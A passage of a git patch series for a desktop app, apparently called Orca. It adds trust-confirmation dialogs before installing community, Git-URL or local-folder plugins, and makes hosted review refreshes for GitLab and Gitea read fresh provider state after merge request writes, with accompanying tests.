'../../../../../shared/plugins/installation/plugin-publisher-derivation' +import { pluginPointsFromManifest, pluginTrust } from './plugin-access-profile' +import { pluginTrustWarnings } from './plugin-consent-copy' +import { pluginPublisherNotice } from './plugin-publisher-trust' + +/** Which warning the install confirmation gives; content kinds get the softer copy. */ +export type PluginInstallTrustKind = + | 'theme' + | 'content' + | 'translations' + | 'code' + | 'git' + | 'local-folder' + | 'dev-folder' + +export type PluginInstallTrustPrompt = { + kind: PluginInstallTrustKind + /** Who the reader must trust: the repository owner Orca parsed, else the derived publisher. */ + trustee: string + /** The publisher Orca derives from where it installs from, never the manifest's claim. */ + publisher: string | null + /** `host/owner/repo`, parsed by Orca from the URL it installs from. */ + repository: string | null + /** A catalog's name, or a local folder's path. */ + location: string | null + /** What a code plugin may do once enabled; empty for content. */ + access: string[] +} + +/** Orca's own reading of a Git URL: `host/owner/repo` plus the owner, never the manifest's claim. */ +export function pluginRepositoryOrigin( + url: string, + path?: string +): { owner: string; repository: string } | null { + const identity = parseGitRepositoryIdentity(url) + if (!identity) { + return null + } + const repository = `${identity.host}/${identity.path}` + return { owner: identity.owner, repository: path ? `${repository} (${path})` : repository } +} + +const THEME_POINTS = ['themes', 'iconThemes', 'terminalThemes'] as const + +/** + * The confirmation a catalog install needs, or null for an official plugin. Every other plugin + * asks, content included, because only Orca's own catalog vouches for its author. + */ +export function catalogInstallTrustPrompt( + listing: PluginMarketplaceHostListing, + preview: PluginMarketplaceHostInstallPreview +): PluginInstallTrustPrompt | null { + // Why both: main derives each from the catalog it read; either saying no is enough to ask. + if (listing.official && preview.official) { + return null + } + const { manifest } = preview + const execution = listing.release?.execution ?? pluginExecutionProfile(manifest) + const notice = pluginPublisherNotice({ official: false, execution, manifest, types: null }) + const origin = pluginRepositoryOrigin(listing.source.url, listing.source.path) + // Why the listing id: catalog installs are keyed by it, so it is the publisher Orca installs as. + const publisher = splitQualifiedPluginKey(listing.pluginKey)?.publisher ?? null + const themed = THEME_POINTS.some((point) => manifest.contributes[point].length > 0) + const kind: PluginInstallTrustKind = + notice === 'code' + ? 'code' + : notice === 'translations' + ? 'translations' + : themed + ? 'theme' + : 'content' + return { + kind, + trustee: origin?.owner ?? publisher ?? listing.pluginKey, + publisher, + repository: origin?.repository ?? listing.source.url, + location: listing.marketplaceName || null, + access: + kind === 'code' + ? pluginTrustWarnings( + pluginTrust({ execution, points: pluginPointsFromManifest(manifest) }) + ) + : [] + } +} + +/** A Git URL or folder install: nothing is verified before it lands, so it warns as code. */ +export function sourceInstallTrustPrompt( + source: PluginHostInstallSource +): PluginInstallTrustPrompt { + if (source.kind === 'local-path') { + return localFolderTrustPrompt('local-folder', source.path) + } + const origin = pluginRepositoryOrigin(source.url) + return { + kind: 'git', + trustee: origin?.owner ?? source.url, + publisher: gitUrlPluginPublisher(source.url), + repository: origin?.repository ?? source.url, + location: null, + access: [] + } +} + +export function localFolderTrustPrompt( + kind: 'local-folder' | 'dev-folder', + path: string +): PluginInstallTrustPrompt { + return { kind, trustee: path, publisher: null, repository: null, location: path, access: [] } +} diff --git a/src/renderer/src/components/plugins/state/use-plugin-install-action.test.tsx b/src/renderer/src/components/plugins/state/use-plugin-install-action.test.tsx index ffb2e5670d0..5b1459b74d6 100644 --- a/src/renderer/src/components/plugins/state/use-plugin-install-action.test.tsx +++ b/src/renderer/src/components/plugins/state/use-plugin-install-action.test.tsx @@ -8,6 +8,11 @@ import type { PluginMarketplaceHostListing } from '../../../../../preload/api-types' import { pluginManifestSchema } from '../../../../../shared/plugins/manifest/plugin-manifest' +import { + settlePluginInstallTrust, + usePluginInstallTrustStore +} from '@/store/plugin-install-trust-request' +import type { PluginInstallTrustPrompt } from '../presentation/plugin-install-trust' import { usePluginInstallAction } from './use-plugin-install-action' vi.mock('sonner', () => ({ toast: { success: vi.fn() } })) @@ -84,7 +89,19 @@ function installResult(on: boolean) { } } +// Answers every trust ask the way the current test chose, recording what was shown. +const asked: PluginInstallTrustPrompt[] = [] +let answer = true +usePluginInstallTrustStore.subscribe(({ pending }) => { + if (pending) { + asked.push(pending.prompt) + queueMicrotask(() => settlePluginInstallTrust(answer)) + } +}) + beforeEach(() => { + asked.length = 0 + answer = true vi.mocked(toast.success).mockClear() vi.mocked(applyPluginThemesNow).mockReset().mockResolvedValue(false) Object.defineProperty(window, 'api', { @@ -218,4 +235,69 @@ describe('usePluginInstallAction', () => { }) expect(onInstalled).not.toHaveBeenCalled() }) + + it('asks to trust the publisher of a community theme with the softer copy, then installs', async () => { + const { hook } = setup() + await act(async () => hook.current?.install(listing)) + expect(asked).toEqual([ + { + kind: 'theme', + trustee: 'acme', + publisher: 'acme', + repository: 'https://example.invalid/dusk.git', + location: 'Catalog', + access: [] + } + ]) + expect(window.api.plugins.installMarketplacePlugin).toHaveBeenCalledOnce() + }) + + it('names the repository owner Orca parsed, not the publisher the manifest claims', async () => { + const { hook, fetchPreview } = setup() + const source = { kind: 'git' as const, url: 'https://github.com/Mallory/dusk.git', ref: 'main' } + fetchPreview.mockResolvedValue({ ok: true, preview: { ...preview, source } }) + await act(async () => hook.current?.install({ ...listing, source })) + expect(asked[0]).toMatchObject({ + trustee: 'Mallory', + publisher: 'acme', + repository: 'github.com/mallory/dusk' + }) + }) + + it('warns that a community code plugin runs its code, with what it may do', async () => { + const { hook } = setup() + const codeListing = { + ...listing, + release: { ...listing.release!, execution: 'declarative' as const } + } + vi.mocked(window.api.plugins.installMarketplacePlugin).mockResolvedValue(installResult(false)) + await act(async () => hook.current?.install(codeListing, { preview: codePreview })) + expect(asked).toHaveLength(1) + expect(asked[0]!.kind).toBe('code') + expect(asked[0]!.access).toEqual(['Its commands can act for you or your agents']) + }) + + it('installs nothing when the user cancels, and leaves no error behind', async () => { + answer = false + const { hook, onInstalled } = setup() + await act(async () => hook.current?.install(listing)) + expect(asked).toHaveLength(1) + expect(window.api.plugins.installMarketplacePlugin).not.toHaveBeenCalled() + expect(onInstalled).not.toHaveBeenCalled() + expect(hook.current?.phaseOf(listing.pluginKey)).toBeNull() + }) + + it('never asks for an official plugin', async () => { + const { hook, fetchPreview } = setup() + fetchPreview.mockResolvedValue({ ok: true, preview: { ...preview, official: true } }) + await act(async () => hook.current?.install({ ...listing, official: true })) + expect(asked).toEqual([]) + expect(window.api.plugins.installMarketplacePlugin).toHaveBeenCalledOnce() + }) + + it('asks when only one of listing and preview says official', async () => { + const { hook } = setup() + await act(async () => hook.current?.install({ ...listing, official: true })) + expect(asked).toHaveLength(1) + }) }) diff --git a/src/renderer/src/components/plugins/state/use-plugin-install-action.ts b/src/renderer/src/components/plugins/state/use-plugin-install-action.ts index 609542e48ff..7360b0899a9 100644 --- a/src/renderer/src/components/plugins/state/use-plugin-install-action.ts +++ b/src/renderer/src/components/plugins/state/use-plugin-install-action.ts @@ -7,6 +7,8 @@ import type { import { pluginExecutionProfile } from '../../../../../shared/plugins/contributions/plugin-execution-profile' import { translate } from '@/i18n/i18n' import { pluginInstallErrorMessage } from '../presentation/plugin-error-presentation' +import { catalogInstallTrustPrompt } from '../presentation/plugin-install-trust' +import { confirmPluginInstallTrust } from '@/store/plugin-install-trust-request' import { PLUGIN_ACTION_TOAST_DURATION_MS } from './plugin-action-toast' import { applyPluginThemesNow } from './plugin-theme-apply' import { pluginTryAction } from './plugin-try-action' @@ -120,6 +122,15 @@ export function usePluginInstallAction({ }) return } + // Why here: the card, the page and every link-opened page install through this one gate. + const trustPrompt = catalogInstallTrustPrompt(listing, preview) + if (trustPrompt) { + setPhase(pluginKey, null) + if (!(await confirmPluginInstallTrust(trustPrompt))) { + return + } + setPhase(pluginKey, { kind: 'installing' }) + } const execution = listing.release?.execution ?? pluginExecutionProfile(preview.manifest) try { const result = await window.api.plugins.installMarketplacePlugin({ diff --git a/src/renderer/src/components/settings/PluginsSettingsSection.lifecycle.test.tsx b/src/renderer/src/components/settings/PluginsSettingsSection.lifecycle.test.tsx index 729976bbb26..8c1d1021bcf 100644 --- a/src/renderer/src/components/settings/PluginsSettingsSection.lifecycle.test.tsx +++ b/src/renderer/src/components/settings/PluginsSettingsSection.lifecycle.test.tsx @@ -67,7 +67,24 @@ vi.mock('../ui/tooltip', () => ({ TooltipContent: () => null })) -vi.mock('../plugins/dialogs/PluginInstallDialog', () => ({ PluginInstallDialog: () => null })) +vi.mock('../plugins/dialogs/PluginInstallDialog', () => ({ + PluginInstallDialog: ({ + open, + onInstall + }: { + open: boolean + onInstall: (source: { kind: 'git'; url: string; ref: string }) => Promise + }) => + open ? ( + + ) : null +})) // Why mock the consent: review now happens on the plugin's page, where this section sits. vi.mock('../plugins/review/PluginInstallConsent', () => ({ PluginInstallConsent: ({ onConfirm }: { onConfirm: () => void }) => { @@ -154,6 +171,34 @@ async function openDevelopmentFolders(container: HTMLElement): Promise { await act(async () => click(open)) } +/** Answers the open "Make sure you trust …" dialog, which must name this kind of warning; returns what it said. */ +async function answerTrust(kind: string, label: string): Promise { + const dialog = document.querySelector('[data-plugin-install-trust]') + if (!dialog) { + throw new Error('missing install trust dialog') + } + expect(dialog.dataset.pluginInstallTrust).toBe(kind) + const answer = Array.from(dialog.querySelectorAll('button')).find( + (button) => button.textContent === label + ) + if (!answer) { + throw new Error(`missing ${label} in the trust dialog`) + } + const text = dialog.textContent ?? '' + await act(async () => click(answer)) + return text +} + +function buttonByText(label: string): HTMLButtonElement { + const match = Array.from(document.querySelectorAll('button')).find( + (button) => button.textContent === label + ) + if (!match) { + throw new Error(`missing ${label} button`) + } + return match +} + async function renderSection( settings: GlobalSettings = { ...getDefaultSettings('/tmp'), pluginSystemEnabled: true }, updateSettings = vi.fn().mockResolvedValue(undefined), @@ -552,6 +597,8 @@ describe('PluginsSettingsSection lifecycle', () => { } await act(async () => click(add)) + expect(updateSettings).not.toHaveBeenCalled() + await answerTrust('dev-folder', 'Add folder') expect(updateSettings).toHaveBeenCalledWith({ devPluginPaths: ['C:\\plugins\\demo'] }) expect(window.api.plugins.refresh).toHaveBeenCalled() @@ -580,6 +627,7 @@ describe('PluginsSettingsSection lifecycle', () => { } await act(async () => click(add)) + await answerTrust('dev-folder', 'Add folder') expect(input.value).toBe('/plugins/demo') expect(add.disabled).toBe(false) @@ -587,6 +635,63 @@ describe('PluginsSettingsSection lifecycle', () => { expect(document.body.textContent).toContain('Could not save plugin settings.') }) + it('adds no development folder when its trust dialog is cancelled', async () => { + const updateSettings = vi.fn().mockResolvedValue(undefined) + const { container } = await renderSection(undefined, updateSettings) + await openDevelopmentFolders(container) + const input = document.querySelector('#plugin-development-path') + if (!input) { + throw new Error('missing development path input') + } + await act(async () => { + Object.getOwnPropertyDescriptor(HTMLInputElement.prototype, 'value')?.set?.call( + input, + '/plugins/demo' + ) + input.dispatchEvent(new Event('input', { bubbles: true })) + }) + await act(async () => click(buttonByText('Add path'))) + const shown = await answerTrust('dev-folder', 'Cancel') + expect(shown).toContain('This is an unverified local folder.') + expect(updateSettings).not.toHaveBeenCalled() + expect(input.value).toBe('/plugins/demo') + }) + + it('asks to trust the owner of a Git URL before installing from it', async () => { + installApi({ + install: vi.fn().mockResolvedValue({ + ok: true, + pluginKey: 'acme.notes', + version: '1.0.0', + contentHash: 'd'.repeat(64), + consentFingerprint: 'sha256-acme-notes', + resolvedCommit: 'c'.repeat(40) + }) + }) + await renderSection() + await act(async () => click(buttonByText('From a Git URL…'))) + await act(async () => click(buttonByText('Submit Git install'))) + expect(window.api.plugins.install).not.toHaveBeenCalled() + const shown = await answerTrust('git', 'Install') + expect(shown).toContain('Make sure you trust Acme') + expect(shown).toContain('github.com/acme/notes') + expect(window.api.plugins.install).toHaveBeenCalledWith({ + kind: 'git', + url: 'https://github.com/Acme/notes.git', + ref: 'v1' + }) + }) + + it('installs nothing from a Git URL when its trust dialog is cancelled', async () => { + await renderSection() + await act(async () => click(buttonByText('From a Git URL…'))) + await act(async () => click(buttonByText('Submit Git install'))) + await answerTrust('git', 'Cancel') + expect(window.api.plugins.install).not.toHaveBeenCalled() + // Why: cancelling the warning keeps the install form open, input intact. + expect(buttonByText('Submit Git install')).toBeTruthy() + }) + it('keeps a development path and handles a failed removal without rejection', async () => { const updateSettings = vi.fn().mockRejectedValue(new Error('disk write failed')) const settings = { diff --git a/src/renderer/src/components/settings/PluginsSettingsSection.tsx b/src/renderer/src/components/settings/PluginsSettingsSection.tsx index 1de7fa70db1..e8db9088422 100644 --- a/src/renderer/src/components/settings/PluginsSettingsSection.tsx +++ b/src/renderer/src/components/settings/PluginsSettingsSection.tsx @@ -7,6 +7,9 @@ import { translate } from '@/i18n/i18n' import { useAppStore } from '@/store' import { PluginDevelopmentDialog } from '../plugins/dialogs/PluginDevelopmentDialog' import { PluginInstallDialog } from '../plugins/dialogs/PluginInstallDialog' +import { PluginInstallTrustDialogHost } from '../plugins/dialogs/PluginInstallTrustDialog' +import { sourceInstallTrustPrompt } from '../plugins/presentation/plugin-install-trust' +import { confirmPluginInstallTrust } from '@/store/plugin-install-trust-request' import { PluginRemoveDialog } from '../plugins/dialogs/PluginRemoveDialog' import { PluginRollbackDialog } from '../plugins/dialogs/PluginRollbackDialog' import { PluginsHeaderActions } from '../plugins/list/PluginSettingsMenu' @@ -202,6 +205,9 @@ export function PluginsSettingsSection({ const removePlugin = plugins.find((plugin) => plugin.pluginKey === removePluginId) ?? null const install = async (source: PluginHostInstallSource): Promise => { + if (!(await confirmPluginInstallTrust(sourceInstallTrustPrompt(source)))) { + return + } const result = await window.api.plugins.install(source) if (!result.ok) { throw new Error(result.error) @@ -396,6 +402,7 @@ export function PluginsSettingsSection({ busy={devPathsBusy} onChange={updateDevPaths} /> + void +} + +/** The one install waiting for "Make sure you trust …"; the Plugins pane renders it. */ +export const usePluginInstallTrustStore = create<{ pending: PendingPluginInstallTrust | null }>()( + () => ({ pending: null }) +) + +/** Resolves true only on an explicit Install click; any other way out declines. */ +export function confirmPluginInstallTrust(prompt: PluginInstallTrustPrompt): Promise { + return new Promise((resolve) => { + // Why decline the older ask: one dialog shows, so the install it belonged to must not hang. + usePluginInstallTrustStore.getState().pending?.resolve(false) + usePluginInstallTrustStore.setState({ pending: { prompt, resolve } }) + }) +} + +export function settlePluginInstallTrust(confirmed: boolean): void { + const { pending } = usePluginInstallTrustStore.getState() + usePluginInstallTrustStore.setState({ pending: null }) + pending?.resolve(confirmed) +} diff --git a/src/shared/plugins/languages/protected-copy-keys.json b/src/shared/plugins/languages/protected-copy-keys.json index c4466ce1a2d..1081c45ce3b 100644 --- a/src/shared/plugins/languages/protected-copy-keys.json +++ b/src/shared/plugins/languages/protected-copy-keys.json @@ -255,6 +255,22 @@ "auto.components.settings.PluginInstallDialog.localTab", "auto.components.settings.PluginInstallDialog.source", "auto.components.settings.PluginInstallDialog.title", + "auto.components.settings.PluginInstallTrustDialog.addFolder", + "auto.components.settings.PluginInstallTrustDialog.cancel", + "auto.components.settings.PluginInstallTrustDialog.catalog", + "auto.components.settings.PluginInstallTrustDialog.code", + "auto.components.settings.PluginInstallTrustDialog.content", + "auto.components.settings.PluginInstallTrustDialog.devFolder", + "auto.components.settings.PluginInstallTrustDialog.folder", + "auto.components.settings.PluginInstallTrustDialog.git", + "auto.components.settings.PluginInstallTrustDialog.install", + "auto.components.settings.PluginInstallTrustDialog.localFolder", + "auto.components.settings.PluginInstallTrustDialog.publisher", + "auto.components.settings.PluginInstallTrustDialog.repository", + "auto.components.settings.PluginInstallTrustDialog.theme", + "auto.components.settings.PluginInstallTrustDialog.title", + "auto.components.settings.PluginInstallTrustDialog.titleFolder", + "auto.components.settings.PluginInstallTrustDialog.translations", "auto.components.settings.PluginMarketplaceSourceDialog.add", "auto.components.settings.PluginMarketplaceSourceDialog.addFailed", "auto.components.settings.PluginMarketplaceSourceDialog.adding", From 233b3dc70474180c852ffbb7081da511fcc54f01 Mon Sep 17 00:00:00 2001 From: Brennan Benson <79079362+brennanb2025@users.noreply.github.com> Date: Sat, 31 Oct 2026 01:26:38 -0700 Subject: [PATCH 27/47] Make explicit hosted review refresh fetch current provider state (#36522) * Make explicit hosted review refresh read current provider state * Name the right provider and keep GitHub's own copy when a Checks refresh fails A failed manual refresh now names the repo's provider (from the review, its link, or the remote), clears once a newer read lands for the panel, never stops GitHub checks and comments from refreshing, and gives way to GitHub's classified sign-in or rate-limit copy. The copy is one interpolated line in every locale. * Read after the write when Orca merges, closes, reopens or edits a GitLab MR Every GitLab merge request write now drops the host's cached review lookups for the repository, and the Checks panel's follow-up read can't join a poll that began before the write, so merging in Orca shows Merged and Delete Workspace without a manual Refresh. A user refresh also forgets Gitea's shared repository scan before reading. * Clear a failed Checks refresh only on a real provider read The host now tells the desktop store, when asked, whether its answer came from a provider read it stored as current or from a cache or last-good fallback. The Checks panel keeps a failed Refresh until such a read lands, a click succeeds, or the context changes. On GitHub the PR read owns the refresh status, so a failed review-card read no longer raises the generic failure. * Don't let a joined host lookup clear a failed Checks refresh A poll that joins a lookup already running for an earlier request didn't start that read, so its answer can't show the provider recovered after the failure. Only the request that started the stored lookup reports a provider read now. The host read also uses the shared reply outcome directly, and the renderer writes the provider-read generation where it publishes the entry. * Type the Checks refresh breadcrumb for every review provider The breadcrumb already received Bitbucket, Azure DevOps and Gitea values; its annotation now says so. Tests build typed fixtures instead of asserting types. * Test the read-outcome reply at IPC, RPC and runtime, and the post-merge read The flag reaches the runtime, and only a caller that asks gets the envelope, including for a definitive null. After Orca merges, the card read starts after the write, and its failure leaves the merge reported as done. * Use a boolean for the empty-state fixture's remote-operation flag * Trim redundant hosted-review refresh tests * Keep the signed-out GitHub empty-state test --- config/tsconfig.tc.web.json | 8 + .../gitea/client-scan-invalidation.test.ts | 15 +- .../gitea/pull-request-read-forgetting.ts | 18 + src/main/gitea/pull-request-scan-cache.ts | 3 + .../gitlab/client-mr-review-actions.test.ts | 66 +++ .../gitlab/merge-request-state-mutations.ts | 7 + src/main/gitlab/merge-request-update.ts | 3 + src/main/ipc/hosted-review.test.ts | 54 ++- src/main/ipc/hosted-review.ts | 11 +- .../orca-runtime-test-mocks/setup.spec.ts | 7 +- .../hooks-and-hosted-review-part-03.spec.ts | 37 ++ .../runtime/rpc/methods/hosted-review.test.ts | 54 ++- src/main/runtime/rpc/methods/hosted-review.ts | 2 + .../runtime/runtime-hosted-review-commands.ts | 15 +- .../hosted-review-branch-cache.ts | 99 ++-- .../hosted-review-gitea.integration.test.ts | 15 +- ...osted-review-inflight-invalidation.test.ts | 123 +++++ .../hosted-review-inflight-lookups.test.ts | 4 +- .../hosted-review-inflight-lookups.ts | 17 +- .../hosted-review-provider-read.ts | 22 + src/main/source-control/hosted-review.test.ts | 35 ++ src/main/source-control/hosted-review.ts | 36 +- src/preload/api/hosted-review-api.ts | 8 +- .../checks-panel-pr-refresh-breadcrumb.ts | 4 +- .../checks-panel/active-content-props.ts | 2 +- .../checks-panel/active-content.tsx | 15 +- .../checks-panel/empty-content-props.ts | 2 +- .../checks-panel/empty-content.tsx | 22 +- .../hosted-review-manual-refresh.ts | 122 +++++ .../manual-refresh-dependencies.ts | 5 + .../panel-content-rendering.test.tsx | 152 +++++- ...l-entry-refresh-and-title-actions.test.tsx | 141 ++++++ ...-panel-entry-refresh-and-title-actions.tsx | 7 +- ...cks-panel-manual-refresh-recovery.test.tsx | 455 ++++++++++++++++++ .../use-checks-panel-manual-refresh.tsx | 103 ++-- .../github-refresh-error-copy.ts | 16 + src/renderer/src/i18n/locales/de.json | 3 +- src/renderer/src/i18n/locales/en.json | 3 +- src/renderer/src/i18n/locales/es.json | 3 +- src/renderer/src/i18n/locales/fr.json | 3 +- src/renderer/src/i18n/locales/ja.json | 3 +- src/renderer/src/i18n/locales/ko.json | 3 +- src/renderer/src/i18n/locales/pt.json | 3 +- src/renderer/src/i18n/locales/ru.json | 3 +- src/renderer/src/i18n/locales/tr.json | 3 +- src/renderer/src/i18n/locales/zh-Hant.json | 3 +- src/renderer/src/i18n/locales/zh.json | 3 +- .../src/lib/hosted-review-repo-read.ts | 5 +- .../src/store/lookup-generation-sequence.ts | 7 +- ...thub-pr-branch-hosted-review-cache.test.ts | 3 +- .../slices/hosted-review-cache-race.test.ts | 3 +- .../store/slices/hosted-review-cache-state.ts | 48 ++ .../store/slices/hosted-review-cache.test.ts | 86 ++++ .../slices/hosted-review-card-refresh.ts | 2 + .../slices/hosted-review-request-state.ts | 24 +- .../src/store/slices/hosted-review.test.ts | 1 + .../src/store/slices/hosted-review.ts | 52 +- src/shared/hosted-review.ts | 33 ++ .../rpc-contract/hosted-review-params.ts | 2 + 59 files changed, 1805 insertions(+), 199 deletions(-) create mode 100644 src/main/gitea/pull-request-read-forgetting.ts create mode 100644 src/main/source-control/hosted-review-provider-read.ts create mode 100644 src/renderer/src/components/right-sidebar/checks-panel/hosted-review-manual-refresh.ts create mode 100644 src/renderer/src/components/right-sidebar/checks-panel/use-checks-panel-entry-refresh-and-title-actions.test.tsx create mode 100644 src/renderer/src/components/right-sidebar/checks-panel/use-checks-panel-manual-refresh-recovery.test.tsx diff --git a/config/tsconfig.tc.web.json b/config/tsconfig.tc.web.json index cd97211c3e9..177ad68d65f 100644 --- a/config/tsconfig.tc.web.json +++ b/config/tsconfig.tc.web.json @@ -28,6 +28,14 @@ "../mobile/src/worktree/worktree-agent-child-rows.ts", "../src/packages/process-host/src/__fixtures__/**/*", "../src/main/gitlab/mappers.ts", + "../src/main/source-control/hosted-review-branch-cache.ts", + "../src/main/source-control/hosted-review-active-branch-claims.ts", + "../src/main/source-control/hosted-review-unsettled-lookups.ts", + "../src/main/source-control/hosted-review-inflight-lookups.ts", + "../src/main/source-control/hosted-review-scope-generations.ts", + "../src/main/source-control/hosted-review-lookup-backoff.ts", + "../src/main/source-control/hosted-review-refresh-pacing.ts", + "../src/main/source-control/hosted-review-provider-read.ts", "../src/main/persistence/profile-state-cutover-fixture.ts", "../src/main/runtime/sidebar-inputs/sidebar-clock.ts", "../src/main/runtime/sidebar-inputs/sidebar-retention-owner.ts", diff --git a/src/main/gitea/client-scan-invalidation.test.ts b/src/main/gitea/client-scan-invalidation.test.ts index d25fcd07f24..3c85776408e 100644 --- a/src/main/gitea/client-scan-invalidation.test.ts +++ b/src/main/gitea/client-scan-invalidation.test.ts @@ -18,7 +18,8 @@ import { } from './client' import { createGiteaPullRequest } from './pull-request-creation' import { _resetGiteaRepoRefCache } from './repository-ref' -import { _resetGiteaPullRequestScanCache } from './pull-request-scan-cache' +import { _resetGiteaPullRequestScanCache, scanGiteaPullRequests } from './pull-request-scan-cache' +import { observeProviderRead } from '../source-control/hosted-review-provider-read' const branch = 'feature/gitea' const pullRequest = { @@ -52,6 +53,18 @@ describe('Gitea scan invalidation after creation', () => { vi.unstubAllEnvs() }) + it('reports a scan answered from the shared cache or a running scan as not a fresh read', async () => { + const fetchPage = vi.fn(async () => [pullRequest]) + const scan = () => + observeProviderRead(() => scanGiteaPullRequests('team/repo', fetchPage, 50, 1)) + const [owner, joiner] = await Promise.all([scan(), scan()]) + const cached = await scan() + expect(fetchPage).toHaveBeenCalledTimes(1) + expect(owner.answeredFromProviderCache).toBe(false) + expect(joiner.answeredFromProviderCache).toBe(true) + expect(cached.answeredFromProviderCache).toBe(true) + }) + it('refreshes cached misses in both modes after a successful create and coalesces readers', async () => { let created = false let listCalls = 0 diff --git a/src/main/gitea/pull-request-read-forgetting.ts b/src/main/gitea/pull-request-read-forgetting.ts new file mode 100644 index 00000000000..fb80bc44de9 --- /dev/null +++ b/src/main/gitea/pull-request-read-forgetting.ts @@ -0,0 +1,18 @@ +import type { ExecutionHostId } from '../../shared/execution-host' +import { hostedReviewSshConnectionId } from '../source-control/hosted-review-execution-host' +import type { HostedReviewExecutionOptions } from '../source-control/hosted-review-git-options' +import { getGiteaRepoSlug, invalidateGiteaPullRequestScanForRepo } from './client' + +/** The repository scan is shared by every branch card for 30s; a user refresh must not be answered by one from before the click. */ +export async function forgetGiteaPullRequestReads( + context: HostedReviewExecutionOptions & { repoPath: string; executionHostId: ExecutionHostId } +): Promise { + const repo = await getGiteaRepoSlug( + context.repoPath, + hostedReviewSshConnectionId(context.executionHostId), + context + ) + if (repo) { + invalidateGiteaPullRequestScanForRepo(repo) + } +} diff --git a/src/main/gitea/pull-request-scan-cache.ts b/src/main/gitea/pull-request-scan-cache.ts index 72a3c9a9aa2..85244d30bf9 100644 --- a/src/main/gitea/pull-request-scan-cache.ts +++ b/src/main/gitea/pull-request-scan-cache.ts @@ -1,3 +1,4 @@ +import { noteProviderCacheAnswer } from '../source-control/hosted-review-provider-read' import type { RawGiteaPullRequest } from './pull-request-mappers' export type GiteaPullRequestPageFetcher = (page: number) => Promise @@ -78,10 +79,12 @@ export async function scanGiteaPullRequests( ): Promise { const cached = reusableScanCacheEntry(repoKey) if (cached) { + noteProviderCacheAnswer() return cached.pullRequests } const running = inFlightScans.get(repoKey) if (running) { + noteProviderCacheAnswer() return running } const generation = scanGenerations.get(repoKey) ?? 0 diff --git a/src/main/gitlab/client-mr-review-actions.test.ts b/src/main/gitlab/client-mr-review-actions.test.ts index fbaf9bc4e32..cd905c30170 100644 --- a/src/main/gitlab/client-mr-review-actions.test.ts +++ b/src/main/gitlab/client-mr-review-actions.test.ts @@ -54,6 +54,11 @@ import { updateMRReviewers } from './client' import { resetGitLabMrMocks } from './client-mr-test-harness' +import type { HostedReviewInfo } from '../../shared/hosted-review' +import { + __resetHostedReviewBranchCacheForTests, + withHostedReviewBranchCache +} from '../source-control/hosted-review-branch-cache' import { stripGitLabDraftTitlePrefix } from './merge-request-draft-title' describe('stripGitLabDraftTitlePrefix', () => { @@ -536,3 +541,64 @@ describe('gitlab client — MR operations', () => { }) }) }) + +describe('gitlab client — review lookups after a merge request write', () => { + const projectRef = { host: 'gitlab.example.internal', path: 'g/p' } + const identity = { repoPath: '/repo', executionHostId: 'local' as const, branch: 'feature' } + const open: HostedReviewInfo = { + provider: 'gitlab', + number: 6, + title: 'MR', + state: 'open', + url: 'https://gitlab.example.internal/g/p/-/merge_requests/6', + status: 'neutral', + updatedAt: '', + mergeable: 'UNKNOWN' + } + const writes = { + merge: () => mergeMR('/repo', 6, 'squash', undefined, null, projectRef), + close: () => closeMR('/repo', 6, undefined, null, projectRef), + reopen: () => reopenMR('/repo', 6, undefined, null, projectRef), + title: () => updateMR('/repo', 6, { title: 'Renamed' }, undefined, null, projectRef) + } + + beforeEach(() => { + resetGitLabMrMocks({ + glabExecFileAsyncMock, + glabApiWithHeadersMock, + getGlabKnownHostsMock, + getProjectRefMock, + resolveIssueSourceMock, + acquireMock, + releaseMock, + gitExecFileAsyncMock + }) + __resetHostedReviewBranchCacheForTests() + glabExecFileAsyncMock.mockResolvedValue({ stdout: '', stderr: '' }) + }) + + // Issue #14377: "I press Squash and merge" in Orca, and the card stayed Open while a poll was in flight. + it.each(Object.entries(writes))( + '%s: the follow-up read starts after the write instead of joining an older poll', + async (_name, write) => { + const prePoll = Promise.withResolvers() + const poll = withHostedReviewBranchCache( + identity, + { headOid: null, force: true }, + () => prePoll.promise + ) + await expect(write()).resolves.toEqual({ ok: true }) + const changed = { ...open, state: 'merged' as const } + const afterWrite = vi.fn(async () => changed) + const followUp = withHostedReviewBranchCache( + identity, + { headOid: null, force: true }, + afterWrite + ) + prePoll.resolve(open) + await poll + await expect(followUp).resolves.toEqual(changed) + expect(afterWrite).toHaveBeenCalledTimes(1) + } + ) +}) diff --git a/src/main/gitlab/merge-request-state-mutations.ts b/src/main/gitlab/merge-request-state-mutations.ts index bfb6391cd1e..a6beec3e436 100644 --- a/src/main/gitlab/merge-request-state-mutations.ts +++ b/src/main/gitlab/merge-request-state-mutations.ts @@ -10,6 +10,7 @@ import { } from './gl-utils' import { withProjectRef } from './merge-request-project-resolution' import { codeHostFailure } from '../../shared/code-host-failure-copy' +import { invalidateReviewLookupsAfterPRMutation } from '../github/pr-mutation-review-invalidation' // Why: glab's MRCheckErrors refuses a no-op close/reopen with these fixed texts; every other // failure, including "has already been merged", must surface. @@ -45,6 +46,8 @@ export async function closeMR( return { ok: false, error: msg } } finally { release() + // Even a failed write may have landed; later reads must not reuse an answer from before it. + invalidateReviewLookupsAfterPRMutation(repoPath, connectionId) } }, codeHostFailure('gitlab.projectUnresolved'), @@ -81,6 +84,8 @@ export async function reopenMR( return { ok: false, error: msg } } finally { release() + // Even a failed write may have landed; later reads must not reuse an answer from before it. + invalidateReviewLookupsAfterPRMutation(repoPath, connectionId) } }, codeHostFailure('gitlab.projectUnresolved'), @@ -119,6 +124,8 @@ export async function mergeMR( return { ok: false, error: err instanceof Error ? err.message : String(err) } } finally { release() + // Even a failed write may have landed; later reads must not reuse an answer from before it. + invalidateReviewLookupsAfterPRMutation(repoPath, connectionId) } }, codeHostFailure('gitlab.projectUnresolved'), diff --git a/src/main/gitlab/merge-request-update.ts b/src/main/gitlab/merge-request-update.ts index acab47e1424..dbfd63486a6 100644 --- a/src/main/gitlab/merge-request-update.ts +++ b/src/main/gitlab/merge-request-update.ts @@ -15,6 +15,7 @@ import { stripGitLabDraftTitlePrefix } from './merge-request-draft-title' import { withProjectRef } from './merge-request-project-resolution' import { tryMarkMRReady } from './merge-request-ready' import { codeHostFailure, classifiedFailure } from '../../shared/code-host-failure-copy' +import { invalidateReviewLookupsAfterPRMutation } from '../github/pr-mutation-review-invalidation' export async function updateMR( repoPath: string, @@ -133,6 +134,8 @@ export async function updateMR( return classifiedFailure(classifyGlabError(msg)) } finally { release() + // Even a failed write may have landed; later reads must not reuse an answer from before it. + invalidateReviewLookupsAfterPRMutation(repoPath, connectionId) } }, codeHostFailure('gitlab.projectUnresolved'), diff --git a/src/main/ipc/hosted-review.test.ts b/src/main/ipc/hosted-review.test.ts index 